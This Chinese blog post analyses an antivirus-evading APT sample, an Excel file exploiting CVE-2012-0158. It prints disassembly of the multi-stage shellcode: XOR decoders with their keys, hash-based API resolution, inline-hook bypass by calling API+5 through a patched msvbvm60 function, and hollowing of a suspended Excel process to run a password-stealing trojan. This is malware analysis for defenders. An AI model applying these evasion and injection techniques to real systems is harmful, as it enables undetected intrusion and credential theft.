神刀安全网

对某免杀APT样本中漏洞和shellcode的详细分析

0x01 引言

近日以色列安全研究员 @smgoreli 发现一例APT攻击样本,截止到该攻击披露前,在VT上的检测率为1/56。

对某免杀APT样本中漏洞和shellcode的详细分析

刚开始以为这是一个0 Dday,异常激动,拿到了这个APT样本后,分析发现不是一个0 day,随后作者在其 博客 上也指出该APT实际上是2012年的一个老漏洞 CVE-2012-0158 。像这种比较著名的老漏洞杀软应该基本上都能检测到才对,因此本文将对该APT样本进行剖析,看看存在哪些by pass技术。

0x02漏洞分析

首先感谢 @PhysicalDrive0

@r41p41@DEYCrypt 提供的APT样本:

MD5

f29316a73a6d20eb54c0d39629bba392

SHA1

82791af86a527ccbf4eea7eaef244cae3519d1a4

SHA256

09700a4d4979dfb98ce3a04db59efd8d522d5f06bee756af767dc94519a604fd

文件名

sample.xls

文件大小

146.8 KB (150354 bytes)

文件类型

xls

检测信息

VirusTotal

样本是一个Excel文件,以前分析绝大多数0158漏洞的样本都是RTF文档,当然漏洞本身和文件格式无关,这个漏洞本身是由于在调用MSCOMCTL.OCX控件错误解析数据造成的缓冲区溢出漏洞,而通常这个漏洞在野外的利用方式是通过RTF文档。这里作者制作的是Excel样本想必也是为了绕过一些基于特征的检测。

为了触发漏洞,使用Excel 2010(MSCOMCTL.OCX 6.01.9818)打开该XLS文件,样本直接crash,说明漏洞触发成功了,但是shellcode没有执行成功。附加OllyDbg,查看crash附近的内存及寄存器状态:

对某免杀APT样本中漏洞和shellcode的详细分析

Crash地址位于MSCOMCTL.OCX中的0x27583C30,这里应该是位于shellcode的内部了,shellcode执行不了的原因应该是地址0x27583C30的汇编指令和作者使用的MSCOMCTL.OCX版本的汇编指令不一样,当然MSCOMCTL.OCX未开启ASLR。

首先还是找到漏洞触发的原因,可以看到在Crash前,地址0x275D0053存在调用,直接下断点重新调试,直接来到漏洞触发点:

对某免杀APT样本中漏洞和shellcode的详细分析

来到这里已经很明显了,这个就是CVE-2012-0158漏洞的触发点,在地址0x275D003E处判断错误导致在地址0X275D0053处产生缓冲区溢出。这个漏洞网上有很多经典的分析文章,这里不再赘述。

此外该样本和RTF样本不同的是,构造触发漏洞的特征数据是经过编码的,在XLS中不是以明文形式出现,因此直接在XLS中搜特征数据是搜索不到的,这也是能够by pass杀软静态分析的一种技术。而Excel.exe解码XLS文件中数据的过程这里没有作进一步分析。

0x03 shellcode分析

事实上这个XLS样本中的shellcode才是最精彩的部分,这段shellcode非常复杂,但是它在运行时能够躲避绝大多数杀软的检测,因此值得我们去剖析它的内部构造。

首先定位到内部的shelllcode。由于这是个堆栈缓冲区溢出漏洞,因此在crash时,shellcode应该已经拷贝到堆栈上了,如果运气好还没有执行的话,就是完整的shellcode了。可以看到栈上完整的shellcode:

对某免杀APT样本中漏洞和shellcode的详细分析

通过二进制复制的方式将shellcode复制下来,为了方便,可以 使用OllyDbg来调试这段shellcode 。但是这样脱离样本调试只能调试一部分,因为正常情况下shellcode是会对样本文件进行操作的。

当然还有就是找到能让shellcode正常执行的MSCOMCTL.OCX版本,这样就可以不用提取shellcode,直接在内部下断点调试。尝试了不同的版本的Office后,在Office2007(MSCOMCTL.OCX 6.01.9545)下可以稳定触发漏洞并能够成功执行shellcode。

直接调试shellcode,下断点ba e1 0x27583C30:

对某免杀APT样本中漏洞和shellcode的详细分析

采用jmp esp作为跳转指令,执行shellcode。这段shellcode加入了很多无效指令和反调试指令干扰分析人员:

对某免杀APT样本中漏洞和shellcode的详细分析

随后,shellcode对自身进行XOR解码,值得一提的是解码的密钥来自shellcode指令本身,密钥每轮换一次:

对某免杀APT样本中漏洞和shellcode的详细分析

循环解密34个字节,得到shellcode2:

对某免杀APT样本中漏洞和shellcode的详细分析

shellcode2再次对自身进行XOR解码,密钥为0x99,得到shellcode3,shellcode3的功能是定位kernel32.dll以及获取一些API函数地址。

定位kernel32.dll:

0003023A   58               POP EAX

0003023B   58               POP EAX

0003023C   EB 05            JMP SHORT 00030243

0003023E   0000             ADD BYTE PTR DS:[EAX],AL

00030240   0000             ADD BYTE PTR DS:[EAX],AL

00030242   0055 33          ADD BYTE PTR SS:[EBP+33],DL

00030245   C9               LEAVE

00030246   64:8B35 30000000 MOV ESI,DWORD PTR FS:[30];ESI=PEB地址

0003024D   8B76 0C          MOV ESI,DWORD PTR DS:[ESI+C];ESI= LDR地址

00030250   8B76 1C          MOV ESI,DWORD PTR DS:[ESI+1C];ESI=模块初始化链表

00030253   8B5E 08          MOV EBX,DWORD PTR DS:[ESI+8]

00030256   8B6E 08          MOV EBP,DWORD PTR DS:[ESI+8];EBP=模块地址

00030259   8B7E 20          MOV EDI,DWORD PTR DS:[ESI+20];EDI=函数名称列表

0003025C   8B36             MOV ESI,DWORD PTR DS:[ESI];ESI=下一个模块

0003025E   66:394F 18       CMP WORD PTR DS:[EDI+18],CX;比较函数名长度来寻找kernel32.dll地址,kernel32.dll的unicode长度为0x18。

00030262  ^75 F2            JNZ SHORT 00030256

00030264   8BDD             MOV EBX,EBP;EBX=kernel32.dll地址

00030266   E9 08010000      JMP 00030373

获取API函数地址:

00030328   51               PUSH ECX

00030329   55               PUSH EBP

0003032A   8B73 3C          MOV ESI,DWORD PTR DS:[EBX+3C]

0003032D   8B741E 78        MOV ESI,DWORD PTR DS:[ESI+EBX+78]

00030331   03F3             ADD ESI,EBX

00030333   56               PUSH ESI

00030334   8B76 20          MOV ESI,DWORD PTR DS:[ESI+20]

00030337   03F3             ADD ESI,EBX

00030339   33C9             XOR ECX,ECX

0003033B   49               DEC ECX

0003033C   41               INC ECX

0003033D   AD               LODS DWORD PTR DS:[ESI]

0003033E   03C3             ADD EAX,EBX

00030340   33ED             XOR EBP,EBP

00030342   0FBE10           MOVSX EDX,BYTE PTR DS:[EAX]

00030345   3AD6             CMP DL,DH

00030347   74 08            JE SHORT 00030351

00030349   C1CD 07          ROR EBP,7; 函数名经过简单的ror后,进行比较。

0003034C   03EA             ADD EBP,EDX

0003034E   40               INC EAX

0003034F  ^EB F1            JMP SHORT 00030342

00030351   3B2F             CMP EBP,DWORD PTR DS:[EDI]; [EDI]存储API的hash

00030353  ^75 E7            JNZ SHORT 0003033C; 循环判断当前API是否与所需的API的hash相等

00030355   5E               POP ESI

00030356   8B6E 24          MOV EBP,DWORD PTR DS:[ESI+24]

00030359   03EB             ADD EBP,EBX

0003035B   66:8B4C4D 00     MOV CX,WORD PTR SS:[EBP+ECX*2]

00030360   8B6E 1C          MOV EBP,DWORD PTR DS:[ESI+1C]

00030363   03EB             ADD EBP,EBX

00030365   8B448D 00        MOV EAX,DWORD PTR SS:[EBP+ECX*4]

00030369   03C3             ADD EAX,EBX

0003036B   AB               STOS DWORD PTR ES:[EDI]; [EDI]存储所需API函数地址

0003036C   5D               POP EBP

0003036D   59               POP ECX

0003036E   C3               RETN

所需API函数名称的hash值:

对某免杀APT样本中漏洞和shellcode的详细分析

找到所需API函数地址:

对某免杀APT样本中漏洞和shellcode的详细分析

调用SetFilePointer在内存中定位样本文件xls的句柄,并将指针移动至偏移值0x5800处,随后调用ReadFile读取0x5800处前4个字节再进行校验:

对某免杀APT样本中漏洞和shellcode的详细分析

调用VirtualAlloc分配一块可读写、可执行的内存:

001492c8 6a40            push    40h

001492ca 6800100000      push    1000h

001492cf 6800100000      push    1000h

001492d4 6a00            push    0

001492d6 ff5528          call    dword ptr [ebp+28h]  ss:0023:001493a4={kernel32!VirtualAlloc (752b2fb6)}

001492d9 898588010000    mov     dword ptr [ebp+188h],eax

001492df 6a00            push    0

001492e1 8d8590010000    lea     eax,[ebp+190h]

001492e7 50              push    eax

001492e8 eb0b            jmp     001492f5

将xls文件偏移值0x5800 处的数据拷贝至上述分配的内存中,进一步XOR解码内存中的数据,密钥0xE3:

001492f5 68000c0000      push    0C00h

001492fa 8b8588010000    mov     eax,dword ptr [ebp+188h]

00149300 50              push    eax

00149301 8b8580010000    mov     eax,dword ptr [ebp+180h]

00149307 50              push    eax

00149308 ff552c          call    dword ptr [ebp+2Ch]  ss:0023:001493a8={kernel32!ReadFile (752a96fb)};数据拷贝至分配的内存中

0014930b 8b9d88010000    mov     ebx,dword ptr [ebp+188h]

00149311 33c9            xor     ecx,ecx

00149313 80340be3        xor     byte ptr [ebx+ecx],0E3h;解码内存中的数据,得到shellcode4

00149317 41              inc     ecx

00149318 81f9000c0000    cmp     ecx,0C00h

0014931e 75f3            jne     00149313

00149320 ffb580010000    push    dword ptr [ebp+180h]

00149326 ffa588010000    jmp     dword ptr [ebp+188h]

内存中解码后的数据为shellcode4,个人认为shellcode4是整个shellcode中最最精华的一部分,也是最后一部分,最终释放出真正的木马程序。下面看看shellcode4为了躲避杀软都做了什么,先总体看一下:

对某免杀APT样本中漏洞和shellcode的详细分析

  1. 获取更多的API地址。但是这次是获取API函数地址+0x05的地址,而不是API地址,这样每次调用时都判断有没有inline hook,可以绕过杀软的应用层hook和调试器int3断点。

    对某免杀APT样本中漏洞和shellcode的详细分析

    同样是通过API hash的方式寻找API函数地址,这里只贴出重要地方:

    049803c9 8b45f4          mov     eax,dword ptr [ebp-0Ch]

    049803cc 8b4dfc          mov     ecx,dword ptr [ebp-4]

    049803cf 0fb70448        movzx   eax,word ptr [eax+ecx*2]

    049803d3 8b0483          mov     eax,dword ptr [ebx+eax*4]

    049803d6 8d443005        lea     eax,[eax+esi+5];获取API地址+5

    049803da ebe7            jmp     049803c3

    最终获取到的API+5地址:

    对某免杀APT样本中漏洞和shellcode的详细分析

  2. 加载msvbvm60.dll,定位PutMemVar函数:

    对某免杀APT样本中漏洞和shellcode的详细分析

    对某免杀APT样本中漏洞和shellcode的详细分析

  3. 自身代码写进PutMemVar函数。修改后的PutMemVar函数可以将API+5的地址作为参数来调用该API函数。由于杀软经常在一些病毒常用API函数的开头采用inline hook方式来监视API的行为,作者在这里跳过执行API函数的头部,因此这样可以绕过杀软的inline hook技术:

    对某免杀APT样本中漏洞和shellcode的详细分析

    修改后的PutMemVar函数:

    对某免杀APT样本中漏洞和shellcode的详细分析

  4. 从XLS样本文件中解码并读取木马数据至内存中,该木马实际上是一个密码窃取木马。

    这个过程所需要的API函数均是调用PutMemVar(API+5,arg2,arg…)来获得。

    定位XLS文件偏移值0x6348处的数据:

    047a09ac 6a00            push    0

    047a09ae 6a00            push    0

    047a09b0 6848630000      push    6348h

    047a09b5 ff750c          push    dword ptr [ebp+0Ch]

    047a09b8 6a04            push    4

    047a09ba ffb714020000    push    dword ptr [edi+214h];kernel32!SetFilePointer+0x5

    047a09c0 ff97c0020000    call    dword ptr [edi+2C0h] ds:0023:003093b0= {msvbvm60!PutMemVar (72a36096)}

    读取偏移值0x6348后8字节数据进入内存:

    047a09d4 50              push    eax

    047a09d5 ff750c          push    dword ptr [ebp+0Ch]

    047a09d8 6a05            push    5

    047a09da ffb710020000    push    dword ptr [edi+210h];kernel32!ReadFile+0x5

    047a09e0 ff97c0020000    call    dword ptr [edi+2C0h];{msvbvm60!PutMemVar (72a36096)}

    对某免杀APT样本中漏洞和shellcode的详细分析

    分配0x11400+0xD400大小的内存:

    047a09f6 6a40            push    40h

    047a09f8 6800100000      push    1000h

    047a09fd 50              push    eax;eax=0x11400+0xD400

    047a09fe 6a00            push    0

    047a0a00 6a04            push    4

    047a0a02 ffb744020000    push    dword ptr [edi+244h];kernel32!VirtualAlloc+0x5:

    047a0a08 ff97c0020000    call    dword ptr [edi+2C0h] ;{msvbvm60!PutMemVar}

    拷贝文件偏移值0x6348+0x8后0x11400+0xD400大小的数据至上述分配的内存:

    047a0a1b 6a00            push    0

    047a0a1d 50              push    eax

    047a0a1e ff75f0          push    dword ptr [ebp-10h];0x11400+0xD400

    047a0a21 ff75ec          push    dword ptr [ebp-14h];内存地址0x047B0000

    047a0a24 ff750c          push    dword ptr [ebp+0Ch];XLS句柄000002fc

    047a0a27 6a05            push    5

    047a0a29 ffb710020000    push    dword ptr [edi+210h];kernel32!ReadFile+0x5

    047a0a2f ff97c0020000    call    dword ptr [edi+2C0h] ;msvbvm60!PutMemVar (72a36096)}

    对某免杀APT样本中漏洞和shellcode的详细分析

    将内存中的exe数据解密出来,解密算法比较简单:

    047a0a45 b35a            mov     bl,5Ah

    047a0a47 ac              lods    byte ptr [esi]

    047a0a48 3c00            cmp     al,0

    047a0a4a 7409            je      047a0a55

    047a0a4c 3ac3            cmp     al,bl

    047a0a4e 7405            je      047a0a55

    047a0a50 32c3            xor     al,bl

    047a0a52 80c3a5          add     bl,0A5h

    047a0a55 aa              stos    byte ptr es:[edi]

    047a0a56 e2ef            loop    047a0a47

    对某免杀APT样本中漏洞和shellcode的详细分析

    获取Excel.exe的文件目录:

    047a006f 50              push    eax

    047a0070 6a00            push    0

    047a0072 6a03            push    3

    047a0074 8d8530fdffff    lea     eax,[ebp-2D0h]

    047a007a ffb064020000    push    dword ptr [eax+264h];GetModuleFileNameA+0x5

    047a0080 ff90c0020000    call    dword ptr [eax+2C0h];msvbvm60!PutMemVar (72a36096)}

    对某免杀APT样本中漏洞和shellcode的详细分析

    5.读出exe数据以后要把xls文件恢复成正常文件,这样既能够正常打开文件,而且也能够达到欺骗受害人的目的,由于这段代码过于繁琐,这里不贴出来,主要使用到的API函数是CreateFileMapping和MapViewofFile映射xls文件。

    修复后的xls文件数据:

    对某免杀APT样本中漏洞和shellcode的详细分析

    6.修复xls文件后再以SUSPEND方式启动一个EXCEL进程,接着把读出来的exe数据写进新的进程,再通过修改ImageBase指向EXE内容的地址,最后恢复新进程运行。

    获取Excel.exe文件目录:

    047a087e 50              push    eax

    047a087f 50              push    eax

    047a0880 6a04            push    4;SUSPEND标志

    047a0882 50              push    eax

    047a0883 50              push    eax

    047a0884 50              push    eax

    047a0885 894d9c          mov     dword ptr [ebp-64h],ecx

    047a0888 8d8e00fdffff    lea     ecx,[esi-300h]

    047a088e 51              push    ecx

    047a088f 50              push    eax

    047a0890 6a0a            push    0Ah

    047a0892 ffb668020000    push    dword ptr [esi+268h];kernel32!CreateProcessA+0x5

    047a0898 ff96c0020000    call    dword ptr [esi+2C0h] ;msvbvm60!PutMemVar

    读出ImageBase地址:

    047a08cb 6a04            push    4

    047a08cd ff7508          push    dword ptr [ebp+8]

    047a08d0 83c008          add     eax,8

    047a08d3 50              push    eax

    047a08d4 ff33            push    dword ptr [ebx]

    047a08d6 6a05            push    5

    047a08d8 ffb678020000    push    dword ptr [esi+278h];kernel32!ReadProcessMemory+0x5

    047a08de ff96c0020000    call    dword ptr [esi+2C0h] ;msvbvm60!PutMemVar

    修改ImageBase指向EXE:

    047C073D 50 push eax

    047C073E FF75 EC push dword ptr [ebp-14]

    047C0741 6A 05 push 5

    047C0743 5F pop edi

    047C0744 57 push edi

    047C0745 FFB6 7C020000 push dword ptr [esi+27C];WriteProcessMemory+0x5

    047C074B FF96 C0020000 call dword ptr [esi+2C0] ; msvbvm60!PutMemVar

    将木马exe数据写进新的进程空间:

    047C07AC 6A 00 push 0

    047C07AE FF75 14 push dword ptr [ebp+14]

    047C07B1 895401 34 mov dword ptr [ecx+eax+34], edx

    047C07B5 50 push eax

    047C07B6 FF75 FC push dword ptr [ebp-4]

    047C07B9 FF75 EC push dword ptr [ebp-14]

    047C07BC 57 push edi

    047C07BD FFB6 7C020000 push dword ptr [esi+27C];WriteProcessMemory+0x5

    047C07C3 FF96 C0020000 call dword ptr [esi+2C0] ; msvbvm60!PutMemVar

    这个时候一旦新的Excel进程启动,实际上执行的却是木马的进程。最后调用kill进程终止所有的活动,这部分就不再说明了。

    按照以往shellcode的思路都是将木马exe文件文件直接释放到本地去执行,这样做虽然简单但同时也会被一些先进的杀软通过主动防御区拦截,而即使没有拦截,这些不在系统白名单的exe文件,是没有权限去做一些敏感操作。这里在EXCEL的进程中去执行exe文件,思路很巧妙,都不需要去想如何绕过杀软,因为这些进程都不会被杀软拦截。

    0x04总结

    虽然该APT样本的漏洞不值一提,但是其shellcode的思路真的是非常的巧妙,使用了各种各样的绕过技术,重写系统dll的函数,通过该函数的调用绕过杀软的inline hook等,接着借助Excel进程执行木马程序,基本上做到通杀市场上所有的杀软了。

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 对某免杀APT样本中漏洞和shellcode的详细分析

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址